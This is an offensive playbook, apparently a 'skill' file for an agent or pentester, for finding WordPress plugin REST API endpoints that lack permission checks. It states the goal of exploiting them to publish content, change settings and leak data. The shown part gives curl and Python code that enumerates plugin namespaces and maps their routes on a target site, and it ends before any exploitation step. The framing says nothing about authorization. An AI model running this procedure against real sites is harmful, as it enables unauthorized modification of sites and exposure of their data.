wp-plugin-rest-auth-bypass

WordPress Plugin REST API — Auth Bypass

WordPress plugins register custom REST API routes at /wp-json/{namespace}/. Many plugin developers forget to add permission callbacks, leaving state-changing endpoints (POST/PUT/PATCH/DELETE) accessible to unauthenticated users. This skill enumerates all plugin routes, identifies write endpoints missing auth, and exploits them for content publishing, settings modification, and data leakage.

When to Use

• Target is a WordPress site with exposed users via /wp-json/wp/v2/users.
• You've found interesting plugin namespaces from /wp-json/ but need to map their routes.
• Standard WordPress endpoints return 401 — but third-party plugin endpoints might not.
• You want to find hidden admin URLs, debug endpoints, or unauthenticated write operations.

Prerequisites

• python3 with requests library.
• Target WordPress site URL.

Procedure

Phase 1 — Enumerate All Plugin Namespaces

curl --max-time 30 --connect-timeout 10 -sk "https://target.com/wp-json/" | python3 -c "
import sys, json
data = json.load(sys.stdin)
for ns in data.get('namespaces', []):
    print(ns)
"

Filter out standard WordPress namespaces to find third-party plugins:

Standard: oembed/1.0, wp/v2, wp-site-health/v1, wp-block-editor/v1
Plugins:  gpl/v1, sliderrevolution, yoast/v1, elementor/v1, wc/v3, gf/v2, ...

Phase 2 — Map All Routes for Each Plugin

import requests, json

BASE = "https://target.com"

# Get full route map
r = requests.get(f"{BASE}/wp-json/", timeout=10)
data = r.json()

for plugin_ns in ["gpl/v1", "gsf/v1", "sliderrevolution", "solidwp-mail/v1"]:
    r = requests.get(f"{BASE}/wp-json/{plugin_ns}/", timeout=10)
    if r.status_code == 200:
        routes = r.json().get('routes', {})
        for path, config in routes.items():
            methods = config.get('methods', [])
            args = list(config.get('endpoints', [{}])[0].get('args', {}).keys())
            print(f"  [{','.join(methods)}] {path}")
            if args:
                print(f"    Args: {args}")